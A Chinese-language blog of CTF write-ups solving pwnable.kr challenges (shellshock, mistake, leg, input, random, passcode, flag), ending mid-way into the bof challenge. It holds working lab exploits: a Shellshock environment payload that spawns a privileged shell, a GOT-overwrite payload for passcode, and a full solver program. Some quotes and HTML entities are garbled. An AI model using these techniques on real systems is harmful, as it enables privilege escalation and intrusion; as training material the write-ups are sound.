pwnable.kr-shellshock

题目描述:

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 🙂
ssh [email protected] -p2222 (pw:guest)

shellshock.c的源码为:

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

顾名思义了,这题就是需要利用shellshock漏洞来获取flag,具体的讲解参见:http://www.myhack58.com/Article/html/3/62/2015/60779.htm

所以我们构造payload:export foo='() { :; }; cat flag‘直接获取flag,或者export foo='() { :; }; bash’切换成shellshock2用户的bash,然后再执行命令获取flag:

[email protected]:/home/shellshock$ export foo='() { :; }; bash’
[email protected]:/home/shellshock$ ./shellshock
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ whoami
shellshock
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ id
uid=1048(shellshock) gid=1049(shellshock2) groups=1048(shellshock)

最后的flag为:only if I knew CVE-2014-6271 ten years ago..!!

pwnable.kr-mistake

题目描述:

We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh [email protected] -p2222 (pw:guest)

mistake.c的源码:

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
 int i;
 for(i=0; i<len; i++){
 s[i] ^= XORKEY;
 }
}

int main(int argc, char* argv[]){
 
 int fd;
 if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
 printf("can't open password %d\n", fd);
 return 0;
 }

 printf("do not bruteforce...\n");
 sleep(time(0)%20);

 char pw_buf[PW_LEN+1];
 int len;
 if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
 printf("read error\n");
 close(fd);
 return 0; 
 }

 char pw_buf2[PW_LEN+1];
 printf("input password : ");
 scanf("%10s", pw_buf2);

 // xor your input
 xor(pw_buf2, 10);

 if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
 printf("Password OK\n");
 system("/bin/cat flag\n");
 }
 else{
 printf("Wrong Password\n");
 }

 close(fd);
 return 0;
}

这里我们看看fd的值:

首先,当存在/home/mistake/passcode文件时,fd的返回值为0,而当fd为0时,根据pwnable.kr-fd 我们知道,read()函数第一个参数为0时,read的值来自stdin,也就是通过命令行输入,而不是本题源代码的意思,取自passcode文件,这样,答案我们就可控了。最后我们看到pw_buf和pw_buf2进行比较,如果相同的话,返回正确的flag。

pw_buf等于我们输入的内容,而pw_buf2等于pw_buf每一位的内容与1进行xor后的值,所以这里我们输入pw_buf为1111111111,pw_buf1为0000000000,即可获得flag:

[email protected]:~$ ./mistake
do not bruteforce…
1111111111
input password : 0000000000
Password OK
Mommy, the operator priority always confuses me 🙁

所以最终的flag为:

ommy, the operator priority always confuses me 🙁

pwnable.kr-leg

题目描述:

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh [email protected] -p2222 (pw:guest)

这题的描述比较有意思,这题主要考察arm的汇编指令,当然此ARM非彼arm(胳膊),leg.c的代码:

#include &amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;lt;fcntl.h&amp;amp;amp;amp;gt;
int key1(){
 asm("mov r3, pc\n");
}
int key2(){
 asm(
 "push {r6}\n"
 "add r6, pc, $1\n"
 "bx r6\n"
 ".code 16\n"
 "mov r3, pc\n"
 "add r3, $0x4\n"
 "push {r3}\n"
 "pop {pc}\n"
 ".code 32\n"
 "pop {r6}\n"
 );
}
int key3(){
 asm("mov r3, lr\n");
}
int main(){
 int key=0;
 printf("Daddy has very strong arm! : ");
 scanf("%d", &amp;amp;amp;amp;amp;key);
 if( (key1()+key2()+key3()) == key ){
 printf("Congratz!\n");
 int fd = open("flag", O_RDONLY);
 char buf[100];
 int r = read(fd, buf, 100);
 write(0, buf, r);
 }
 else{
 printf("I have strong leg :P\n");
 }
 return 0;
}

leg.asm的代码:

(gdb) disass main
Dump of assembler code for function main:
 0x00008d3c <+0>: push {r4, r11, lr}
 0x00008d40 <+4>: add r11, sp, #8
 0x00008d44 <+8>: sub sp, sp, #12
 0x00008d48 <+12>: mov r3, #0
 0x00008d4c <+16>: str r3, [r11, #-16]
 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
 0x00008d54 <+24>: bl 0xfb6c <printf>
 0x00008d58 <+28>: sub r3, r11, #16
 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
 0x00008d60 <+36>: mov r1, r3
 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
 0x00008d68 <+44>: bl 0x8cd4 <key1>
 0x00008d6c <+48>: mov r4, r0
 0x00008d70 <+52>: bl 0x8cf0 <key2>
 0x00008d74 <+56>: mov r3, r0
 0x00008d78 <+60>: add r4, r4, r3
 0x00008d7c <+64>: bl 0x8d20 <key3>
 0x00008d80 <+68>: mov r3, r0
 0x00008d84 <+72>: add r2, r4, r3
 0x00008d88 <+76>: ldr r3, [r11, #-16]
 0x00008d8c <+80>: cmp r2, r3
 0x00008d90 <+84>: bne 0x8da8 <main+108>
 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
 0x00008d98 <+92>: bl 0x1050c <puts>
 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
 0x00008da0 <+100>: bl 0xf89c <system>
 0x00008da4 <+104>: b 0x8db0 <main+116>
 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
 0x00008dac <+112>: bl 0x1050c <puts>
 0x00008db0 <+116>: mov r3, #0
 0x00008db4 <+120>: mov r0, r3
 0x00008db8 <+124>: sub sp, r11, #8
 0x00008dbc <+128>: pop {r4, r11, pc}
 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cd8 <+4>: add r11, sp, #0
 0x00008cdc <+8>: mov r3, pc
 0x00008ce0 <+12>: mov r0, r3
 0x00008ce4 <+16>: sub sp, r11, #0
 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cf4 <+4>: add r11, sp, #0
 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
 0x00008cfc <+12>: add r6, pc, #1
 0x00008d00 <+16>: bx r6
 0x00008d04 <+20>: mov r3, pc
 0x00008d06 <+22>: adds r3, #4
 0x00008d08 <+24>: push {r3}
 0x00008d0a <+26>: pop {pc}
 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
 0x00008d10 <+32>: mov r0, r3
 0x00008d14 <+36>: sub sp, r11, #0
 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008d24 <+4>: add r11, sp, #0
 0x00008d28 <+8>: mov r3, lr
 0x00008d2c <+12>: mov r0, r3
 0x00008d30 <+16>: sub sp, r11, #0
 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb) 

这题的代码其实很简单,我们输入的key,需要让他满足其值为key1(), key2(), key3()三个函数返回值的和,这里需要对三个函数分别进行分析:

首先是key1:

Dump of assembler code for function key1:
 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cd8 <+4>: add r11, sp, #0
 0x00008cdc <+8>: mov r3, pc
 0x00008ce0 <+12>: mov r0, r3
 0x00008ce4 <+16>: sub sp, r11, #0
 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008cec <+24>: bx lr

在ARM汇编中,子函数通常是通过寄存器r0返回函数的返回值,所以这里我们看r0的值,r0等于r3,r3等于pc的值,关于pc的说明,请见:http://blog.sina.com.cn/s/blog_bcdac52b0101nf7j.html

所以这里r0也就是key1的值为0x8cdc+8

接着是key2:

Dump of assembler code for function key2:
 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cf4 <+4>: add r11, sp, #0
 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
 0x00008cfc <+12>: add r6, pc, #1
 0x00008d00 <+16>: bx r6
 0x00008d04 <+20>: mov r3, pc
 0x00008d06 <+22>: adds r3, #4
 0x00008d08 <+24>: push {r3}
 0x00008d0a <+26>: pop {pc}
 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
 0x00008d10 <+32>: mov r0, r3
 0x00008d14 <+36>: sub sp, r11, #0
 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d1c <+44>: bx lr
End of assembler dump.

key2中r0的值也是来自r3,r3等于偏移20处的pc的值,然后下一行再加上4,这里需要注意的是,这里有一个bx,关于bx,请见:http://blog.csdn.net/liuchao1986105/article/details/6539728

在c代码中我们也可以看到.code的伪指令,来表明是ARM指令和thumb指令之间的切换,所以这里的pc统统都变成了当前地址+4,因为指令集由ARM的32位的指令变成16指令,对应的指令长度变成了原来的一半,所以这里r0也就是key2的值为0x8d04+4+4

最后是key3:

Dump of assembler code for function key3:
 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008d24 <+4>: add r11, sp, #0
 0x00008d28 <+8>: mov r3, lr
 0x00008d2c <+12>: mov r0, r3
 0x00008d30 <+16>: sub sp, r11, #0
 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d38 <+24>: bx lr
End of assembler dump.

这里r0等于r3就是等于lr的值,关于lr指令,一般它的值等于:1、子函数的返回地址;2、发生异常时pc-4,这里lr保证了程序能够正常运行,由于这里程序并没有异常,所以这里保存的是key3()函数的返回地址,也就是:0x8d80

所以最终key的值应该为0x8cdc+8+0x8d04+4+4+0x8d80=108400

然后输入这个key,就能成功获得flag:

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

最终的flag为:

My daddy has a lot of ARMv5te muscle!

pwnable.kr-input

题目描述:

Mom? how can I pass my input to a computer program?

ssh [email protected] -p2222 (pw:guest)

连接上ssh后,input.c的源码如下:

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;arpa/inet.h&gt;

int main(int argc, char* argv[], char* envp[]){
 printf("Welcome to pwnable.kr\n");
 printf("Let's see if you know how to give input to program\n");
 printf("Just give me correct inputs then you will get the flag :)\n");

 // argv
 if(argc != 100) return 0;
 if(strcmp(argv['A'],"\x00")) return 0;
 if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
 printf("Stage 1 clear!\n");

 // stdio
 char buf[4];
 read(0, buf, 4);
 if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
 read(2, buf, 4);
 if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
 printf("Stage 2 clear!\n");

 // env
 if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
 printf("Stage 3 clear!\n");

 // file
 FILE* fp = fopen("\x0a", "r");
 if(!fp) return 0;
 if( fread(buf, 4, 1, fp)!=1 ) return 0;
 if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
 fclose(fp);
 printf("Stage 4 clear!\n");

 // network
 int sd, cd;
 struct sockaddr_in saddr, caddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1){
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = INADDR_ANY;
 saddr.sin_port = htons( atoi(argv['C']) );
 if(bind(sd, (struct sockaddr*)&amp;saddr, sizeof(saddr)) &lt; 0){
 printf("bind error, use another port\n");
 return 1;
 }
 listen(sd, 1);
 int c = sizeof(struct sockaddr_in);
 cd = accept(sd, (struct sockaddr *)&amp;caddr, (socklen_t*)&amp;c);
 if(cd &lt; 0){
 printf("accept error, tell admin\n");
 return 0;
 }
 if( recv(cd, buf, 4, 0) != 4 ) return 0;
 if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
 printf("Stage 5 clear!\n");

 // here's your flag
 system("/bin/cat flag");
 return 0;
}

这题代码显而易见并没有需要溢出的地方,这里考察的是unix下的数据传输,我们分别看下5个stage。

Stage1

需要通过argv传递参数,由于这里需要满足argv[‘A’]=”\x00″ argv[‘B’]=”\x20\x0a\x0d”,这些都是不可见字符,并且是空字符以及回车换行符,所以这里不能够使用python通过命令行传递参数,这里使用C语言编写程序,通过子进程的方法调用input程序进行传参

Stage2

这里我们又遇到read函数了,在pwnable.kr的第一题中就涉及到:pwnable.kr-fd

当fd为0时,为stdin ,fd为1时,为stdout,fd为2时,为stderr,

所以这里我们使用fork创建子进程,pipe进行管道传输,具体见下面的代码

Stage3

stage3使用env传递参数,env是标准main函数三个参数中的一个,它的值是系统环境变量,默认是不需要填写的。这里我们需要通过设定env=”\xde\xad\xbe\xef=\xca\xfe\xba\xbe” ,然后通过execve(“/root/Desktop/input”, argv, env);进行传递

Stage4

需要在文件名为”\x0a“的文件中读取字符,判断是否为”\x00\x00\x00\x00″,这里直接把源代码中的读取文件改成写文件就可以了:

 FILE* fp = fopen("\x0a", "w");
 if(!fp){printf("cannot open\n");return 0;}
 char *buff = "\x00\x00\x00\x00";
 fwrite(buff, 4, 1, fp);
 fclose(fp);

Stage5

socket编程,同样和4一样,只要把接受改成发送就可以了,这里需要注意的是socket的端口是通过argv[‘C’]来控制的,所以我们需要设置好argv[‘C’],然后在执行第五部之前需要有一个延时,因为这里我们需要时间完成第四部不同进程间的通信:

sleep(5);
 int sd;
 struct sockaddr_in saddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1)
 {
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 saddr.sin_port = htons(2333);
 if(connect(sd, (struct sockaddr*) &amp;saddr, sizeof(saddr)))
 {
 perror("Problem connecting\n");
 exit(1);
 }
 printf("Connected\n");
 write(sd,"\xde\xad\xbe\xef",4);
 close(sd);

所以最后的代码为:

#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<stdlib.h>

int main()
{
 int pipe0[2], pipe1[2];
 char *argv[101] = {[0 ... 99] = "A"};
 argv['A'] = "\x00";
 argv['B'] = "\x20\x0a\x0d";
 argv['C'] = "55555";
 char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};

 FILE* fp = fopen("\x0a", "w");
 if(!fp){printf("cannot open\n");return 0;}
 char *buff = "\x00\x00\x00\x00";
 fwrite(buff, 4, 1, fp);
 fclose(fp);

 if(pipe(pipe0) < 0 || pipe(pipe1) < 0)
 {
 printf("pipe create error\n");
 return 0;
 }
 if(fork() == 0)
 {
 dup2(pipe0[0],0);
 dup2(pipe1[0],2);
 close(pipe0[1]);
 close(pipe1[1]);
 execve("/root/Desktop/input", argv, env);
 }
 else
 {
 write(pipe0[1],"\x00\x0a\x00\xff",4);
 write(pipe1[1],"\x00\x0a\x02\xff",4);
 close(pipe0[1]);
 close(pipe1[1]);

 }
 //network
 sleep(5);
 int sd;
 struct sockaddr_in saddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1)
 {
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 saddr.sin_port = htons(55555);
 if(connect(sd, (struct sockaddr*) &saddr, sizeof(saddr)))
 {
 perror("Problem connecting\n");
 exit(1);
 }
 printf("Connected\n");
 write(sd,"\xde\xad\xbe\xef",4);
 close(sd);
 return 0;
}

这里不要忘了添加文件头,然后我们把代码放到pwnable.kr服务器上的/tmp/input目录,由于目录下并没有flag,我们执行ln /home/input/flag flag,把flag重定向到当前目录下,最后编译运行得到flag:

Just give me correct inputs then you will get the flag 🙂
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Connected
Stage 5 clear!
Mommy! I learned how to pass various input in Linux 🙂

flag为:Mommy! I learned how to pass various input in Linux 🙂

pwnable.kr-random

题目描述:

Daddy, teach me how to use random value in programming!

ssh [email protected] -p2222 (pw:guest)

其中random.c的代码为:

#include <stdio.h>

int main(){
 unsigned int random;
 random = rand(); // random value!

 unsigned int key=0;
 scanf("%d", &key);

 if( (key ^ random) == 0xdeadbeef ){
 printf("Good!\n");
 system("/bin/cat flag");
 return 0;
 }

 printf("Wrong, maybe you should try 2^32 cases.\n");
 return 0;
}

代码很简单,一开始以为是需要通过key溢出覆盖random的值,结果经过调试发现每次random()生成的数值是固定的,因为在本题的代码中并没有制定随机数种子(seed),导致每次生成的第一个数都是固定的。

第一个数为:0x6b8b456,最后的结果要求是(key ^ random) == 0xdeadbeef,

所以key的值应该为:0xdeadbeef^0x6b8b4567=3039230856

输入之后,获得flag:

[email protected]ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable…

所以flag为:

Mommy, I thought libc random is unpredictable…

pwnable.kr-passcode

依然是题目描述:

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh [email protected] -p2222 (pw:guest)

连上后,目录下有c源码和可执行文件,

首先查看下程序开了那些防护措施:

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

这里开启了canary,所以我们只能够利用一次任意内存写的功能,无法通过写入shellcode 再到跳转到shellcode的地址来exploit(至少写文章的时候我还不会其他方法),同样的我们在反汇编的代码中也可以看出来采用了canary:

gdb-peda$ disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <[email protected]>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <[email protected]>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <[email protected]>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <[email protected]>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.

开始的时候有个mov eax, gs:0x14,结尾的时候有个xor eax,gs:0x14,通过存储函数运行前后堆栈的状态来判断是否有栈溢出,从而进行保护。这里如果我们要进行利用,只能在结束的检测之前利用完成,或者在检测中只是进行构造利用代码,不影响栈的状态,然后在随后的程序中进行利用。

源码为:

#include <stdio.h>
#include <stdlib.h>

void login(){
 int passcode1;
 int passcode2;

 printf("enter passcode1 : ");
 scanf("%d", passcode1);
 fflush(stdin);

 // ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
 printf("enter passcode2 : ");
 scanf("%d", passcode2);

 printf("checking...\n");
 if(passcode1==338150 && passcode2==13371337){
 printf("Login OK!\n");
 system("/bin/cat flag");
 }
 else{
 printf("Login Failed!\n");
 exit(0);
 }
}

void welcome(){
 char name[100];
 printf("enter you name : ");
 scanf("%100s", name);
 printf("Welcome %s!\n", name);
}

int main(){
 printf("Toddler's Secure Login System 1.0 beta.\n");

 welcome();
 login();

 // something after login...
 printf("Now I can safely trust you that you have credential :)\n");
 return 0; 
}

我们可以看到scanf接受的参数写错了,没有加取地址符号,这样就会把参数中的数值作为地址进行写入了,现在的问题是我们如何来控制passcode1的内容呢?我们用gdb对程序进行调试:

gdb-peda$ r
Starting program: /root/Desktop/passcode
Toddler’s Secure Login System 1.0 beta.
[———————————-registers———————————–]
EAX: 0x28 (‘(‘)
EBX: 0x0
ECX: 0xf7fd3028 –> 0x0
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
EIP: 0x8048612 (<welcome+9>: mov eax,gs:0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048609 <welcome>: push ebp
0x804860a <welcome+1>: mov ebp,esp
0x804860c <welcome+3>: sub esp,0x88
=> 0x8048612 <welcome+9>: mov eax,gs:0x14
0x8048618 <welcome+15>: mov DWORD PTR [ebp-0xc],eax
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
0x8048622 <welcome+25>: mov DWORD PTR [esp],eax
[————————————stack————————————-]
0000| 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
0004| 0xffffd804 –> 0x27 (“‘”)
0008| 0xffffd808 –> 0xf7fafd60 –> 0xfbad2a84
0012| 0xffffd80c –> 0xf7e6734b (<_IO_file_overflow+219>: add esp,0x10)
0016| 0xffffd810 –> 0xf7fafd60 –> 0xfbad2a84
0020| 0xffffd814 –> 0xf7fd3000 (“Toddler’s Secure Login System 1.0 beta.\n”)
0024| 0xffffd818 –> 0x28 (‘(‘)
0028| 0xffffd81c –> 0xf7e6727c (<_IO_file_overflow+12>: add edx,0x147d84)
[——————————————————————————]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048612 in welcome ()

当我们断点在welcome函数中时,ebp的内容为:0xffffd888

gdb-peda$ c
Continuing.
enter you name : aaaaa
Welcome aaaaa!
[———————————-registers———————————–]
EAX: 0x0
EBX: 0x0
ECX: 0x7ffffff2
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
EIP: 0x804856a (<login+6>: mov eax,0x8048770)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048564 <login>: push ebp
0x8048565 <login+1>: mov ebp,esp
0x8048567 <login+3>: sub esp,0x28
=> 0x804856a <login+6>: mov eax,0x8048770
0x804856f <login+11>: mov DWORD PTR [esp],eax
0x8048572 <login+14>: call 0x8048420 <[email protected]>
0x8048577 <login+19>: mov eax,0x8048783
0x804857c <login+24>: mov edx,DWORD PTR [ebp-0x10]
[————————————stack————————————-]
0000| 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
0004| 0xffffd864 –> 0xf7dfa700 (0xf7dfa700)
0008| 0xffffd868 –> 0x0
0012| 0xffffd86c –> 0xf7fafd60 –> 0xfbad2a84
0016| 0xffffd870 –> 0xffffd8a8 –> 0x0
0020| 0xffffd874 –> 0xf7feec80 (pop edx)
0024| 0xffffd878 –> 0xf7e5cbeb (<puts+11>: add ebx,0x152415)
0028| 0xffffd87c –> 0xfb14c000
[——————————————————————————]
Legend: code, data, rodata, value

Breakpoint 2, 0x0804856a in login ()

当我们断在login函数中时,发现ebp的内容也为:0xffffd888。

在ida中我们发现,name的地址为:[ebp-70h] passcode1的地址为[ebp-10h],两个地址在同一个堆栈中,而且相差为70h-10h=60h=96,而name的大小为100个字节,那么正好我们可以通过name的后四个字节来覆盖passcode1的内容。

接下来如何利用写入passcode1的地址来控制eip跳转到执行cat flag的地方,或者是跳转到我们的shellcode呢?

这里使用了GOT覆盖技术,GOT覆盖可以理解为一个程序中调用函数的表,我们利用name的后四个字节控制了scanf写入内容的地址,然后通过scanf改写GOT表,使eip跳转到我们制定的地方,我们看下程序中调用system的地址:

0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <[email protected]>

可以看到地址为0x080485e3 这个地址是我们需要将GOT表中内容覆盖的地址,换成10进制就是:134514147,我们再看下passcode的GOT表:

➜ Desktop readelf -r passcode

Relocation section ‘.rel.dyn’ at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c [email protected]_2.0

Relocation section ‘.rel.plt’ at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 [email protected]_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 [email protected]_2.7

我们看到在system和printf passcode1之间调用了printf fflush,所以这些函数在GOT中的地址我们都可以利用,这里选择fflush的地址0x0804a004,这个地址是需要利用name的后四位进行覆盖的,所以我们最终的payload为:

[email protected]:~$ python -c “print(‘a’*96+’\x04\xa0\x04\x08\n’+’134514147\n’)” | ./passcode
Toddler’s Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
Sorry mom.. I got confused about scanf usage 🙁
enter passcode1 : Now I can safely trust you that you have credential 🙂

所以flag为:

Sorry mom.. I got confused about scanf usage 🙁

gdb peda常用指令

info

查看各种信息:

info file  查看当前文件的信息,例如程序入口点(Entry point)

info break 查看当前断点信息

disassemble+func 对制定的函数进行反汇编

break +”地址” 设置断点

r  等同于“run” 运行程序

c 等同于”continue”,继续执行

x /<n/f/u> <addr>
n、f、u是可选的参数。
  n是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义。
  f 表示显示的格式,参见下面。如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i。
  u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字 节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
  <addr>表示一个内存地址。
  注意:严格区分n和u的关系,n表示单元个数,u表示每个单元的大小。
layout:用于分割窗口,可以一边查看代码,一边测试。主要有以下几种用法:
layout src:显示源代码窗口
layout asm:显示汇编窗口
layout regs:显示源代码/汇编和寄存器窗口
layout split:显示源代码和汇编窗口
layout next:显示下一个layout
layout prev:显示上一个layout
Ctrl + L:刷新窗口
Ctrl + x,再按1:单窗口模式,显示一个窗口
Ctrl + x,再按2:双窗口模式,显示两个窗口
Ctrl + x,再按a:回到传统模式,即退出layout,回到执行layout之前的调试窗口。

 

pwnable.kr-flag

题目描述:

Papa brought me a packed present! let’s open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

下载下来之后file一下:

➜ Desktop file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

64位的ELF,直接拖到IDA里面看看,发现只有三个函数,而且并不能正常打开,目测是加壳了。于是在里面瞎翻,发现了upx的关键字,果断upx -d flag把壳脱了。重新拖进IDA,发现代码很简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // [email protected]

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  LODWORD(v3) = malloc(100LL);
  sub_400320(v3, flag);
  return 0;
}

malloc申请了一个100LL的地址,然后把flag复制进去了,直接查看flag的值,发现直接出现flag了:

UPX…? sounds like a delivery service 🙂

pwnable.kr-bof

首先还是题目描述:

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

给了c的源文件还有编译好的elf文件,c源码为:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
